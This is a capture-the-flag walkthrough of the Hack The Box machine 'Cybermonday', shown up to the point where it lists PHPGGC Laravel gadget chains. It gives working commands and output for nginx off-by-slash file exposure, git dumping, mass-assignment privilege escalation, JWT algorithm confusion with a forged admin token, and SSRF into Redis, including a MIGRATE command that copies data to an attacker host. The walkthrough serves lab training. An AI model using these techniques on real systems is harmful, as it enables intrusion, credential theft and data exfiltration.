Post

HTB - Cybermonday

Summary

CyberMonday starts with a website that is hosted using Nginx and created using Laravel as a PHP framework. The Nginx configuration was suffering from nginxoffbyslash, which occurs when an Nginx directive does not end with a slash. This allows us to access the .git directory, .env file and retrieve the website’s Laravel code. By reviewing the code, we spot a way to escalate a user to an admin using the update function through mass assignment vulnerability then found a new subdomain for a webhooks API.By abusing jwt algorithm confusion we can get and admin access to create webhooks. One of webhooks is vulnerable to SSRF. By abusing this SSRF interact with the Redis database that’s caching the Laravel session data. I’ll abuse that to get code execution in the web container. after that i found a Docker Registry container and pull the API container image. The Source code review shows additional API endpoints by abusing those to get file read on the API container and leak the password of a user that works for SSH. Then abuse a script designed to allow a user to run docker compose in a safe way to create a privilege container to get us root access.

Machine Info

  
Box NameCybermonday
OS
DifficultyHigh
Graph
Points40
Release Date19 Aug 2023
Retire Date02 Dec 2023

Recon

Nmap

Using Nmap to enumerate all open ports and services by doing this on two phases to speed things up :

  • Phase 1 : Make a simple scan to check for all opened TCP ports with high rate of checking port equel to 10000.
  • Phase 2 : After identify the open ports start the sec phase to fingerprint (services, versions, etc) for each open port.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# Fast scan to check open ports
(kali㉿kali)-[~/HTB/HTB Machines/Cybermonday]$ nmap -p- --min-rate 10000 10.10.11.228
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-02 06:51 EST
Nmap scan report for cybermonday.htb (10.10.11.228)
Host is up (0.079s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 9.14 seconds

# Detailed Scan for specific open ports     
(kali㉿kali)-[~/HTB/HTB Machines/Cybermonday]$ nmap -A -p 22,80 -sC 10.10.11.228
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-02 06:52 EST
Nmap scan report for cybermonday.htb (10.10.11.228)
Host is up (0.11s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 74:68:14:1f:a1:c0:48:e5:0d:0a:92:6a:fb:c1:0c:d8 (RSA)
|   256 f7:10:9d:c0:d1:f3:83:f2:05:25:aa:db:08:0e:8e:4e (ECDSA)
|_  256 2f:64:08:a9:af:1a:c5:cf:0f:0b:9b:d2:95:f5:92:32 (ED25519)
80/tcp open  http    nginx 1.25.1
|_http-title: Welcome - Cyber Monday
|_http-server-header: nginx/1.25.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.21 seconds

nmap finds the following TCP ports:

  • SSH - 22
  • HTTP - 80 with

HTTP Cybermonday.htb - TCP 80

The home page of the website redirect to Cybermonday.htb. so we have to add this hostname in /etc/hosts

1
2
3
4
5
6
7
8
(kali㉿kali)-[~]$ cat /etc/hosts                 
127.0.0.1       localhost 
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

10.10.11.228    Cybermonday.htb

The application allow user to register new accounts to be used to login to it.

After login found that the user can do only two things :

  • View the products
  • Update his information (pass,email,etc).

Nginx off by slash

I always love to run few scanner and fuzzing tools in the background while doing manual testing. One of those tools is Nuceli i run it in the background to check for any exposed config files and i found that the nginx configuration is vulnerable to nginx off-by-slash.

1
2
(kali㉿kali)-[~]$ echo http://cybermonday.htb|~/go/bin/nuclei -t ~/nuclei-templates/http/exposures/configs/ -silent                               
[git-config-nginxoffbyslash] [http] [medium] http://cybermonday.htb/assets../.git/config

Nginx off-by-slash is happened when a Nginx directive does not end with a slash, it is possible to traverse one step up.

Example OffBySlash

The following /files endpoint has no trailing slash, while the alias parameter has a trailing slash.

1
2
3
4
5
location /files {
    alias /home/kali/files/;
    autoindex on;
    default_type text/plain;
}

The setting as above is commonly known as an off-by-slash misconfiguration. In this case, an attacker can access files in /home/kali directory via /files../ endpoint.

Exploit : you can browse the contents of /home/kali/.bashrc by accessing https://TargetWebsite/files../.bashrc.

Since this website is made using Laravel framwork i know that Laravel saves the APP it uses to encrypt the cookies and other credentials inside a file called .env so let’s trying to get by abusing OffBySlash

1
2
3
4
5
6
7
8
9
10
11
wget http://cybermonday.htb/assets../.env
--2023-12-02 11:42:24--  http://cybermonday.htb/assets../.env
Resolving cybermonday.htb (cybermonday.htb)... 10.10.11.228
Connecting to cybermonday.htb (cybermonday.htb)|10.10.11.228|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1081 (1.1K) [application/octet-stream]
Saving to: ‘.env’

.env                              100%[============================================================>]   1.06K  --.-KB/s    in 0.07s   

2023-12-02 11:42:25 (14.8 KB/s) - ‘.env’ saved [1081/1081]

.env

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
(kali㉿kali)-[~]$ cat .env
APP_NAME=CyberMonday
APP_ENV=local
APP_KEY=base64:EX3zUxJkzEAY2xM4pbOfYMJus+bjx6V25Wnas+rFMzA=
APP_DEBUG=true
APP_URL=http://cybermonday.htb

LOG_CHANNEL=stack
LOG_DEPRECATIONS_CHANNEL=null
LOG_LEVEL=debug

DB_CONNECTION=mysql
DB_HOST=db
DB_PORT=3306
DB_DATABASE=cybermonday
DB_USERNAME=root
DB_PASSWORD=root

BROADCAST_DRIVER=log
CACHE_DRIVER=file
FILESYSTEM_DISK=local
QUEUE_CONNECTION=sync
SESSION_DRIVER=redis
SESSION_LIFETIME=120

MEMCACHED_HOST=127.0.0.1

REDIS_HOST=redis
REDIS_PASSWORD=
REDIS_PORT=6379
REDIS_PREFIX=laravel_session:
CACHE_PREFIX=

MAIL_MAILER=smtp
MAIL_HOST=mailhog
MAIL_PORT=1025
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null
MAIL_FROM_ADDRESS="hello@example.com"
MAIL_FROM_NAME="${APP_NAME}"

AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=
AWS_DEFAULT_REGION=us-east-1
AWS_BUCKET=
AWS_USE_PATH_STYLE_ENDPOINT=false

PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1

MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"

CHANGELOG_PATH="/mnt/changelog.txt"

REDIS_BLACKLIST=flushall,flushdb 

The information here is very subtle, but there is some:

  • The APP_KEY will be useful if I get an opportunity for a deserialization attack.
  • There’s creds to the MySQL database :
    • DB_USERNAME = root
    • DB_PASSWORD = root

Git Repository

Dumping the /.git repo content using git-dumper.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(kali㉿kali)-[~]$ python3.11 ~/Tools/git-dumper/git_dumper.py http://cybermonday.htb/assets../.git/ git
[-] Testing http://cybermonday.htb/assets../.git/HEAD [200]
[-] Testing http://cybermonday.htb/assets../.git/ [403]
[-] Fetching common files
[-] Fetching http://cybermonday.htb/assets../.git/COMMIT_EDITMSG [200]
[-] Fetching http://cybermonday.htb/assets../.git/description [200]
[-] Fetching http://cybermonday.htb/assets../.git/hooks/post-update.sample [200]
...[snip]...

[-] Fetching http://cybermonday.htb/assets../.git/refs/wip/wtree/refs/heads/master [404]
[-] http://cybermonday.htb/assets../.git/refs/wip/wtree/refs/heads/master responded with status code 404
[-] Fetching http://cybermonday.htb/assets../.git/refs/wip/index/refs/heads/master [404]
[-] http://cybermonday.htb/assets../.git/refs/wip/index/refs/heads/master responded with status code 404
[-] Finding packs
[-] Finding objects
[-] Fetching objects
[-] Fetching http://cybermonday.htb/assets../.git/objects/9e/86521722b083582f0f100e7b4d3a63bcc1bdfc [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/a0/a2a8a34a6221e4dceb24a759ed14e911f74c57 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/88/cadcaaf281f473a7d03d757be46a6d1d307eaf [200]
...[snip]...

[-] Fetching http://cybermonday.htb/assets../.git/objects/e9/3e4a3f9c394c636dcf0fe673ddb42c2fa180c3 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/0e/d15f710f3fdd9cd4255795cedb4f4e61aa59e8 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/e3/dff6b7c1c86ad0a72845e554d4fffecff9f6b5 [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/f0/0a628d46a5fb12ee6f4fb81647ad94ded4246c [200]
[-] Fetching http://cybermonday.htb/assets../.git/objects/32/e46a3cd15b9aa54cccc46fc53990f382062325 [200]
[-] Running git checkout .

This as we can see dump the content of the git repo to a directory called git

Laravel Source Code Analysis

Now it’s time to check the Laravel code if you are not familiar with Laravel directory structure you can follow this link.

Routes web.php

Starting with web.php file which contains routes that the RouteServiceProvider places in the web middleware group. If your application does not offer a stateless, RESTful API then all your routes will most likely be defined in the web.php file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Route::get('/', function () {
    return view('welcome',['title' => 'Welcome']);
})->name('welcome');

Route::get('/products',[ProductController::class,'index'])->name('products');
Route::get('/product/{product:id}',[ProductController::class,'show'])->name('products.show');

Route::get('/logout',[AuthController::class,'destroy'])->name('logout');

Route::middleware('guest')->group(function(){

    Route::get('/signup',[AuthController::class,'registerForm'])->name('register.form');
    Route::post('/signup',[AuthController::class,'register'])->name('register');
    Route::get('/login',[AuthController::class,'loginForm'])->name('login.form');
    Route::post('/login',[AuthController::class,'login'])->name('login');

});

Route::prefix('home')->middleware('auth')->group(function(){

    Route::get('/',[HomeController::class,'index'])->name('home');

    Route::get('/profile',[ProfileController::class,'index'])->name('home.profile');
    Route::post('/update',[ProfileController::class,'update'])->name('home.profile.update');

});

Route::prefix('dashboard')->middleware('auth.admin')->group(function(){
        
    Route::get('/',[DashboardController::class,'index'])->name('dashboard');

    Route::get('/products',[ProductController::class,'create'])->name('dashboard.products');
    Route::post('/products',[ProductController::class,'store'])->name('dashboard.products.store');
    
    Route::get('/changelog',[ChangelogController::class,'index'])->name('dashboard.changelog');

});

By reviewing the code we can found that most of the routes are already known for us except single one which is dashboard and when we trying to accessing it we got the following :

  • Case 1 we logged in : Redirect to Home page

  • Case 2 we logged out : Get error page

As per the error page there is an attempt to read property “isAdmin” on null. This means that there is an admin user which has priv to accessing the dashboard page so keep that in mind because this is a potential Priv Escalation we have to check later.

Admin Access

Controllers

Controllers are in app/Http/Controllers. And the update function is in this file ProfileController.php which contains the following code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class ProfileController extends Controller
{
    public function index()
    {
        return view('home.profile', [
            'title' => 'Profile'
        ]);
    }

    public function update(Request $request)
    {
        $data = $request->except(["_token","password","password_confirmation"]);
        $user = User::where("id", auth()->user()->id)->first();

        if(isset($request->password) && !empty($request->password))
        {
            if($request->password != $request->password_confirmation)
            {
                session()->flash('error','Password dont match');
                return back();
            }

            $data['password'] = bcrypt($request->password);
        }

        $user->update($data);
        session()->flash('success','Profile updated');

        return back();
    }
}
Mass Assignment

The previous code gets the current User object, and updates the data. However, there’s a mass assignment vulnerability here!

  • Line 12 : It takes all the POST request fields except for _token, password, and password_confirmation, because those data will not be inserted in the DB.
  • Line 15 : Since it’s not storing the password in the data object so it will retrieve it from the request $request->password to check if it not supplied or empty.
  • Line 23 After the check is pass it will encrypt the pass and add it to the data object.
  • Line 26 Then Update the DB with all supplied info which stored in the $data at line 12

According to this the code is just take the input from the user and update the DB with those data except for _token, password, and password_confirmation so this allow us to escalate priv by changing the content of the isAdmin part

As we can see when set isAdmin to true the error reveal that it accepts only integer value so i set it to 1 and it’s works now we are admin.

Changelog

One of the links in the dashboard is to Changelog (/dashboard/changelog):

Which reveal There’s also a link to a webhook url on http://webhooks-api-beta.cybermonday.htb/webhooks/fda96d32-e8c8-4301-8fb3-c821a316cf77. That’s a new subdomain so let’s add it to /etc/hosts

1
2
3
4
5
6
7
8
(kali㉿kali)-[~]$ cat /etc/hosts                 
127.0.0.1       localhost 
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

10.10.11.228    Cybermonday.htb webhooks-api-beta.cybermonday.htb

HTTP Webhooks-api-beta.cybermonday.htb - TCP 80

Accessing root directory of the subdomain reveals that it is a running a PHP

1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
Server: nginx/1.25.1
Date: Sat, 02 Dec 2023 18:11:28 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Host: webhooks-api-beta.cybermonday.htb
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=99514fb0b303410089da6bc22d58142b; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 482

Webhooks

Trying just /webhooks which returns an unauthorized error

1
2
(kali㉿kali)-[~]$ curl http://webhooks-api-beta.cybermonday.htb/webhooks
{"status":"error","message":"Unauthorized"}

Since the response of the page is json so let’s use jq to make it more pretty. As we can see the response is like an API documentation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
(kali㉿kali)-[~]$ curl http://webhooks-api-beta.cybermonday.htb -s | jq .
{
  "status": "success",
  "message": {
    "routes": {
      "/auth/register": {
        "method": "POST",
        "params": [
          "username",
          "password"
        ]
      },
      "/auth/login": {
        "method": "POST",
        "params": [
          "username",
          "password"
        ]
      },
      "/webhooks": {
        "method": "GET"
      },
      "/webhooks/create": {
        "method": "POST",
        "params": [
          "name",
          "description",
          "action"
        ]
      },
      "/webhooks/delete:uuid": {
        "method": "DELETE"
      },
      "/webhooks/:uuid": {
        "method": "POST",
        "actions": {
          "sendRequest": {
            "params": [
              "url",
              "method"
            ]
          },
          "createLogFile": {
            "params": [
              "log_name",
              "log_content"
            ]
          }
        }
      }
    }
  }
}

Trying to login with my old creds on the website but i got the user not define

1
2
(kali㉿kali)-[~]$ curl http://webhooks-api-beta.cybermonday.htb/auth/login -d 'username=0xRyuzak1&password=P@ssw0rd'
{"status":"error","message":"\"username\" not defined"}

After some struggle i findout that since this is API and most of APIs using json so i have to switch to it and it’s working.

1
2
(kali㉿kali)-[~]$  curl http://webhooks-api-beta.cybermonday.htb/auth/login -H "Content-Type: application/json" -d '{"username": "0xRyuzak1", "password": "P@ssw0rd"}' 
{"status":"error","message":"Invalid Credentials"}

Let’s trying to register new user using auth/register.

1
2
(kali㉿kali)-[~]$  curl http://webhooks-api-beta.cybermonday.htb/auth/register -H "Content-Type: application/json" -d '{"username": "0xRyuzak1", "password": "P@ssw0rd"}' 
{"status":"success","message":"success"}

Now trying to login again and it works .

1
2
(kali㉿kali)-[~]$  curl http://webhooks-api-beta.cybermonday.htb/auth/login -H "Content-Type: application/json" -d '{"username": "0xRyuzak1", "password": "P@ssw0rd"}' 
{"status":"success","message":{"x-access-token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiIweFJ5dXphazEiLCJyb2xlIjoidXNlciJ9.Qynd3c-rI1gU335NZjo0MSq43-_YkkMuh2TZ1jOPMbZG_B4LEX1O6Asot8JJcocWXuxlL29HZOcDvK8YMkZifEv29XAKGUXmTTiGnYf4ajgnAHFQx62Ww2XKL26XISO1Z6ZnS0InP9wzgSJZYtZbROMrl1wHz4ZyQqH4-27N0JWVvIA3rzloHdcWiK65gJ7XwUjBpL4WoifDZ0pz_ozsnz5dl6spKqRB388RUgFyVcbpEbJ8DVC7JqtZn6Cco1ldaBv1HyZ5aOzWSY7XjxQj_gSvv03FsqfeDuXV7n_FMIpdZQSRAmldSk_XyS8SRP5EI4hXREuQxelpjn5QDB_5OQ"}} 

let’s trying access webhook dir again

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
(kali㉿kali)-[~]$  curl -s http://webhooks-api-beta.cybermonday.htb/webhooks -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiIweFJ5dXphazEiLCJyb2xlIjoidXNlciJ9.Qynd3c-rI1gU335NZjo0MSq43-_YkkMuh2TZ1jOPMbZG_B4LEX1O6Asot8JJcocWXuxlL29HZOcDvK8YMkZifEv29XAKGUXmTTiGnYf4ajgnAHFQx62Ww2XKL26XISO1Z6ZnS0InP9wzgSJZYtZbROMrl1wHz4ZyQqH4-27N0JWVvIA3rzloHdcWiK65gJ7XwUjBpL4WoifDZ0pz_ozsnz5dl6spKqRB388RUgFyVcbpEbJ8DVC7JqtZn6Cco1ldaBv1HyZ5aOzWSY7XjxQj_gSvv03FsqfeDuXV7n_FMIpdZQSRAmldSk_XyS8SRP5EI4hXREuQxelpjn5QDB_5OQ" |jq .
{
  "status": "success",
  "message": [
    {
      "id": 1,
      "uuid": "fda96d32-e8c8-4301-8fb3-c821a316cf77",
      "name": "tests",
      "description": "webhook for tests",
      "action": "createLogFile"
    },
    {
      "id": 2,
      "uuid": "218e20e1-3153-4d1b-833c-4fba689dbd29",
      "name": "captainHook",
      "description": "not the crocodile!",
      "action": "sendRequest"
    },
    {
      "id": 3,
      "uuid": "879c0367-12f3-4b7f-8d94-d292334aefdb",
      "name": "file",
      "description": "we never knwo -_-",
      "action": "createLogFile"
    },
    {
      "id": 4,
      "uuid": "44dbe782-4a35-456e-8130-6a15f459d156",
      "name": "test24062",
      "description": "test",
      "action": "sendRequest"
    },
    {
      "id": 5,
      "uuid": "2fe5b292-ddb4-46e9-a755-c227117ae5a5",
      "name": "test78745",
      "description": "test",
      "action": "sendRequest"
    }
  ]
}

But when I trying to create one using /webhooks/create or other webhooks endpoints i just got unauthorized

1
2
(kali㉿kali)-[~]$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/create -d '{"name": "0xRyuzak1_webhook", "description": "Anything", "action": "createLogFile"}' -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiIweFJ5dXphazEiLCJyb2xlIjoidXNlciJ9.Qynd3c-rI1gU335NZjo0MSq43-_YkkMuh2TZ1jOPMbZG_B4LEX1O6Asot8JJcocWXuxlL29HZOcDvK8YMkZifEv29XAKGUXmTTiGnYf4ajgnAHFQx62Ww2XKL26XISO1Z6ZnS0InP9wzgSJZYtZbROMrl1wHz4ZyQqH4-27N0JWVvIA3rzloHdcWiK65gJ7XwUjBpL4WoifDZ0pz_ozsnz5dl6spKqRB388RUgFyVcbpEbJ8DVC7JqtZn6Cco1ldaBv1HyZ5aOzWSY7XjxQj_gSvv03FsqfeDuXV7n_FMIpdZQSRAmldSk_XyS8SRP5EI4hXREuQxelpjn5QDB_5OQ" 
{"status":"error","message":"Unauthorized"}

JWT Algorithm Confusion

Check the content of the JWT using Jwt.io

As we can see the role that is currently user as well as my username. The header shows that it’s using public key crypto to validate tokens.

Think of RS256 like Oauth if you want to use the jwt for many apps but without shareing the secret so there have to be public key to validate the token.

The public key well known path is jwks.json so let’s give it a try.

1
2
3
4
5
6
7
8
9
10
11
12
(kali㉿kali)-[~]$ curl -s http://webhooks-api-beta.cybermonday.htb/jwks.json |jq .
{
  "keys": [
    {
      "kty": "RSA",
      "use": "sig",
      "alg": "RS256",
      "n": "pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w",                                                 
      "e": "AQAB"
    }
  ]
}

Using the this link we can convert our JWKs paramter into a valid usable Public Key

Then convert this key to base64 to use it in Jwt.io

1
2
(kali㉿kali)-[~]$ base64 -w 0 key.pub
LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFwdmV6dkFLQ09neHdzaXlWNlBSSgpmR011bCtXQllvcndGSVd1ZFdLa0dlak14M29uVVNsTThPQTNQam1oRk5DUC84ako3V0EyZ0RhOG9QM04ySjh6CkZ5YWRucnQyWGU1OUZkY0xYVFB4YmJmRkMwYVRHa0RJT1BaWUo4a1IwY2x5MGZpWmlaYmc0Vkxzd1lzaDNTbjcKOTdJbElZcjZXcWZjNlpQbjFuc0VoT3J3TytxU0Q0UTI0RlZZZVV4c243cEowb09XSFBEK3F0QzVxM0JSMk0vUwp4QnJ4WGg5dnFjTkJCM1pSUkEwSDBGRGRWNkxwLzh3Slk3UkI4ZU1SRWdTZTQ4cjNrN0dsRWNDTHdic3lDeWhuCmd5c2dIc3E2eUpZTTgyQkw3VjhRbG40MnlpajFCTTdmQ3UxOU0xRVp3UjVlSjJIZzMxWnNLNXVTaGJJVGJSaDEKNndJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==

Now do the following on jwt.io:

  • Change the RS256 alg to HS256 to perform the confusion
  • Change the role from user to admin
  • Toggle the secret base64 encoded
  • Provide the secret key

Now we can create a new webhook using the new Admin Jwt token

1
2
3
4
5
(kali㉿kali)-[~]$ curl -s http://webhooks-api-beta.cybermonday.htb/webhooks/create -d '{"name": "0xRyuzak1_Webhook", "description": "Anything", "action": "createLogFile"}' -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiIweFJ5dXphazEiLCJyb2xlIjoiYWRtaW4ifQ.3U0MVCH05YfKCfCnT1QFP5arPeKxXKjZenEqD1XgWsM" -H "Content-type: application/json" |jq .
{
  "status": "success",
  "message": "Done! Send me a request to execute the action, as the event listener is still being developed.",
  "webhook_uuid": "856c4626-dc1a-4961-b18f-f4663cd8eeb4"

sendRequest SSRF

After some struggle i created another webhook with action equel to sendRequest

1
2
3
4
5
(kali㉿kali)-[~]$ curl -s http://webhooks-api-beta.cybermonday.htb/webhooks/create -d '{"name": "0xRyuzak1_sendRequest", "description": "Anything", "action": "sendRequest"}' -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiIweFJ5dXphazEiLCJyb2xlIjoiYWRtaW4ifQ.3U0MVCH05YfKCfCnT1QFP5arPeKxXKjZenEqD1XgWsM" -H "Content-type: application/json" |jq .
{
  "status": "success",
  "message": "Done! Send me a request to execute the action, as the event listener is still being developed.",
  "webhook_uuid": "6652fb8e-1e05-46ea-9bbf-85a4b950602b"

Then i trying to access it using POST request with paramters url , method as described before in the root dir response

I set the url to my netcat listener and i got connect from the Server side

1
2
(kali㉿kali)-[~]$ curl http://webhooks-api-beta.cybermonday.htb/webhooks/6652fb8e-1e05-46ea-9bbf-85a4b950602b -d '{"url": "http://10.10.16.67/0xRyuzak1", "method": "GET"}' -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiIweFJ5dXphazEiLCJyb2xlIjoiYWRtaW4ifQ.3U0MVCH05YfKCfCnT1QFP5arPeKxXKjZenEqD1XgWsM" -H "Content-type: application/json"
{"status":"error","message":"URL is not live"}  
1
2
3
4
5
6
(kali㉿kali)-[~]$ nc -lnvp 80
listening on [any] 80 ...
connect to [10.10.16.67] from (UNKNOWN) [10.10.11.228] 36472
GET /0xRyuzak1 HTTP/1.1
Host: 10.10.16.67
Accept: */*

Check if the method parameter have some sort of verification or not

As we can see we can send anything we want without checks

Shell as www-data

So now let’s discuss what we gonna do because it is really complex attack path:

  • Abusing sendRequest webhook to perform SSRF attack
  • By SSRF we will talk locally to the Redis DB
  • Decrypt Laravel tokens using APP_KEY which we found before in .env file
  • Create a Laravel PHP deserialization malcious object using phpgcc
  • Insert the malcious deserialization object as the value for the Laravel session in Redis
  • Refresh the webapp to check if our deserialization attack works

Local Redis

Running my own Redis server in a Docker container in my kali machine and forward port 6379 on my VM to that port on the container . This local redis to used to help us to testing things local first and also as debugger

1
2
3
4
5
6
7
8
9
(kali㉿kali)-[~]$ sudo docker run -p 6379:6379 redis
1:C 02 Dec 2023 21:23:46.191 # WARNING Memory overcommit must be enabled! Without it, a background save or replication may fail under low memory condition. Being disabled, it can also cause failures without low memory condition, see https://github.com/jemalloc/jemalloc/issues/1328. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
1:C 02 Dec 2023 21:23:46.191 * oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
1:C 02 Dec 2023 21:23:46.191 * Redis version=7.2.3, bits=64, commit=00000000, modified=0, pid=1, just started
1:C 02 Dec 2023 21:23:46.191 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf
1:M 02 Dec 2023 21:23:46.192 * monotonic clock: POSIX clock_gettime
1:M 02 Dec 2023 21:23:46.192 * Running mode=standalone, port=6379.
1:M 02 Dec 2023 21:23:46.192 * Server initialized
1:M 02 Dec 2023 21:23:46.192 * Ready to accept connections tcp

Connect to it

1
2
(kali㉿kali)-[~]$ redis-cli
127.0.0.1:6379>

Using this Redis Doc to find the usefull commands which we are going to use :

  • SET
  • MIGRTATE

SET Usage

Using SET to normally create a key to hold the string value

1
2
3
4
# Syntax
SET key value 
# Example 
SET 0xRyuzak1 "Pentest"

MIGRATE Usage

We will using MIGRATE command. This command actually executes a DUMP+DEL in the source instance, and a RESTORE in the target instance. So it will help us to exfiltrate data to our local Redis.

1
2
3
4
# Syntax
MIGRATE [host] [port] [key] [destination-db] [timeout] COPY REPLACE
# Example
MIGRATE 10.10.16.67 6379 0xRyuzak1 0 5000 COPY REPLACE

1
2
3
4
5
(kali㉿kali)-[~]$ redis-cli
127.0.0.1:6379> keys *
1) "0xRyuzak1"
127.0.0.1:6379> get 0xRyuzak1
"Pentest"

Laravel Token

Now let’s decrypt laravel token in order to do that we have to get the following :

  • IV : The Initialization Vector is a random value that is used as an additional input to the encryption algorithm along with the encryption key
  • Key : The secret key used for the encryption
  • Value : The Value is the actual encrypted data that you want to decrypt

Actually the MAC has no needs here for us in decryption it is just the Message Authentication Code is a cryptographic hash generated using a secret key

1
2
3
4
5
6
7
(kali㉿kali)-[~]$ echo 'eyJpdiI6IjlWYmxDdTArKyt0S2tkUzhKaEc4Z2c9PSIsInZhbHVlIjoiUCt6bXNLakVybmY1OEZVYkdiQnpoeTBuSlcxQVFqTnh5NXR2WTJEaktDdncvcEdoTnAwQUJpbm9pSmM3bjMvcVMrWEJGZzVWUjNEMjlrSTJLZmNLeEFsZnREMVlCdlZZaXJ2WDZYeWtpbGM2MTdJNnBVU3dLck9JeWgzVTZJTWQiLCJtYWMiOiI1MWM1ZjA1MWJhN2EzNTFhYjYxMjFkMTY0M2Y2MGQ4NmU4N2Q4M2FiNzQ0NDZkNWFmZmI2YjM3NzViYzgwYjc0IiwidGFnIjoiIn0=' | base64 -d | jq .
{
  "iv": "9VblCu0+++tKkdS8JhG8gg==",
  "value": "P+zmsKjErnf58FUbGbBzhy0nJW1AQjNxy5tvY2DjKCvw/pGhNp0ABinoiJc7n3/qS+XBFg5VR3D29kI2KfcKxAlftD1YBvVYirvX6Xykilc617I6pUSwKrOIyh3U6IMd",                                                              
  "mac": "51c5f051ba7a351ab6121d1643f60d86e87d83ab74446d5affb6b3775bc80b74",                                                            
  "tag": ""
}

Using cyberchef to make the decrypt and this is the recipe

The sec part is the laravel session id so to test it let’s try to set it equel to string and then send it to out local Redis

1
2
3
4
5
6
7
(kali㉿kali)-[~]$ redis-cli
127.0.0.1:6379> KEYS *
1) "laravel_session:wbqrcx7hGrse38Ml42klHoy7rllfKHOWJmFDeJmJ"
2) "0xRyuzak1"
127.0.0.1:6379> get laravel_session:wbqrcx7hGrse38Ml42klHoy7rllfKHOWJmFDeJmJ
"0xRyuzak1"
127.0.0.1:6379> 

Deserialization

Using PHPGGC tool for creating deserialization payloads for PHP.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
(kali㉿kali)-[~]$ ./phpggc -l | grep Laravel
Laravel/FD1                               *                                                       File delete               __destruct     *    
Laravel/RCE1                              5.4.27                                                  RCE: Command              __destruct          
Laravel/RCE2                              5.4.0 <= 8.6.9+                                         RCE: Command              __destruct          
Laravel/RCE3                              5.5.0 <= 5.8.35                                         RCE: Command              __destruct     *    
Laravel/RCE4                              5.4.0 <= 8.6.9+                                         RCE: Command              __destruct          
